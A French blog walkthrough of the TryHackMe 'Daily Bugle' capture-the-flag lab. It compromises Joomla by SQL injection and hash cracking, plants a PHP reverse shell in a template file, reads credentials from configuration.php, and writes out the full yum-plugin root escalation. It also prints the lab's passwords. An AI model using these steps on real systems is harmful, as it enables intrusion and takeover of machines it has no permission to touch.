Daily Bugle – TryHackMe

What’s up guys ? Me revoilà avec un tout nouveau CTF, contrairement à ce que l’on a pu faire récemment,  j’ai décidé de passer à quelque chose de plus sérieux ! Daily Bugle. Eh bien nous allons voir comment compromettre un compte CMS Joomla via SQLi, s’entraîner à déchiffrer des hachages et augmenter nos privilèges en profitant de yum.

Prêt ? alors let’s go !

 

Vous savez par quoi commencer donc pas besoin de faire un rappel, un scan réseau de la machine :

Nmap -Pn -sV -p- IP_address   (nous utiliserons le -Pn pour ne pas effectuer de ping)

Nous avons 2 ports ouverts, voyons ce que l’on nous demande de trouver.

 

Ça tombe bien le port 80 est ouvert, il faut trouver qui a cambriolé la banque ! Pour cela nous devons accéder au server web, rien de compliqué il suffit de taper l’adresse ip dans la barre de recherche de votre navigateur :

 

Maintenant que nous savons qui a cambriolé la banque, il nous est demandé de continuer l’exploration. Nous devons trouver la version du CMS  Joomla :

Pas de panique, en faisant une petite recherche rapide sur le net nous avons trouvé un outil pré-installé sur notre système (Parrot OS, aussi présent sur Kali Linux), joomscan :

La commande est simple, il vous suffit de taper :

Joomscan –url http://IP_address/

Vous allez voir il est très sympa, il va vous énumérer les sous répertoires également :

 

Et voici aussi la liste des sous répertoires, on peut voir qu’il y a un protocole d’exclusion des robots : robots.txt

 

Après avoir visité la page : http://IP_address/robots.txt  rien de plus, nous avons les mêmes infos. Retenez juste la page http://IP_addess/administrator/  qui vous mène vers la page de connexion Joomla 😉.

 

 

Maintenant, nous devons décrypter le mot de passe de l’utilisateur Jonah.

 

Pour cela plusieurs possibilités, il nous est préconisé d’utiliser un script python au lieu de passer par SQLMap (qui fonctionne très bien aussi). Après quelques recherches sur internet, j’ai trouvé un outil formidable permettant d’exploiter la version actuelle de joomla :

joomblah (disponible sur https://github.com/XiphosResearch/exploits/tree/master/Joomblah

 

Obtenons le hash du mot de passe de Jonah et décryptons-le par la suite. Téléchargez le fichier python et tapez la commande suivante :

Python joomblah.py http://IP_address/

 

Nous avons obtenu notre hash, copiez le dans un fichier. Nous l’appellerons h.txt, il faut déterminer le format de hachage pour pouvoir le décrypter. Utilisez cette commande depuis votre terminal :

hashid h.txt

 

Maintenant que nous connaissons le format de notre hash, il nous faut le décrypter. JohnTheRipper  est votre ami (bien sûr vous avez aussi hashcat) :

 

Une fois terminé, tapez la commande : john –show h.txt pour afficher le résultat :

Mot de passe = spiderman123 (pas très compliqué comme mot de passe !!!!)

Bingo ! nous avons le mot de passe de Jonah. Essayons de nous connecter maintenant à l’interface web Joomla.

http://IP_address/administrator  utilisez user=jonah et password=spiderman123

 

Allez dans Extensions —> Templates –> templates :

 

Maintenant, cliquez sur Protostar Details and Files :

 

Vous allez voir la liste des fichiers, choisissez n’importe laquelle et insérez votre script malveillant pour avoir un php_reverse_shell. Nous utiliserons dans notre cas le script disponible sur le lien suivant : https://github.com/pentestmonkey/php-reverse-shell

Remplacez l’IP par votre adresse IP tun0 et le port que vous souhaitez, sauvegardez et fermez. Maintenant lancez une écoute avec la commande suivante :  nc -lvnp port  puis accédez à la page du fichier choisi. Dans notre cas : http://IP_address/templates/protostar/error.php

Et voilà le travail ! nous avons notre shell. Déplacez-vous vers le répertoire /var/www/html afin de consulter le fichier configuration.php avec la commande :

cd /var/www/html

puis tapez ls pour lister le contenu :

Vous pouvez maintenant afficher le contenu du fichier configuration.php avec la commande :

cat configuration.php :

 

Yes ! nous avons un mot de passe, mais un petit souci aussi car lorsque nous avons essayé de se connecter en tant que root ça n’a pas fonctionné. Nous allons utiliser ce même mot de passe pour l’utilisateur jjameson pour obtenir le flag user.txt :

 

Pour cela, utilisez les commandes suivantes :

cd /home

su jjameson

ls

cat user.txt

 

So ! il nous reste un dernier flag : root.txt, eh oui l’escalade de privilège.

Pas de panique nous allons remédier à ceci rapidement, commencez par utiliser la commande :

 sudo -l

Humm, intéressant tout ça. Allez sur GTFOBins pour trouver un moyen d’obtenir les privilèges root en cherchant yum:

 

Super ! nous avons trouvé ce dont nous avons besoin, à ce stade il vous faut tout simplement taper ces commandes les unes à la suite des autres :

TF=$(mktemp -d)

cat >$TF/x<<EOF

[main]

plugins=1

pluginpath=$TF

pluginconfpath=$TF

EOF

cat >$TF/y.conf<<EOF

[main]

enabled=1

EOF

cat >$TF/y.py<<EOF

import os

import yum

from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE

requires_api_version=’2.1′

def init_hook(conduit):

  os.execl(‘/bin/sh’,’/bin/sh’)

EOF

sudo yum -c $TF/x –enableplugin=y

 

Connectez-vous sur un autre terminal en utilisant le service SSH avec user=jjameson et password=nv5uz9r3ZEDzVjNu. Voici la commande : ssh jjameson@IP_address

Tapez maintenant les commandes ci-dessus trouvées sur le site de GTFOBins :

Génial ! nous sommes root, déplaçons-nous vers le répertoire du super-utilisateur afin d’obtenir le dernier flag avec ces trois dernières commandes :

cd /root

ls

cat root.txt

 

Bravo à vous, si vous avez réussi sans difficultés ce challenge soyez en fiers. Dans l’ensemble un CTF très intéressant et varié, niveau difficulté chacun en jugera en fonction de son ressenti.

Comme toujours, si vous avez des questions n’hésitez pas à me contacter, au plaisir de vous faire découvrir un autre challenge, PEACE ! 

💪💪

No responses yet

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.

19 − 6 =

Follow by Email
YouTube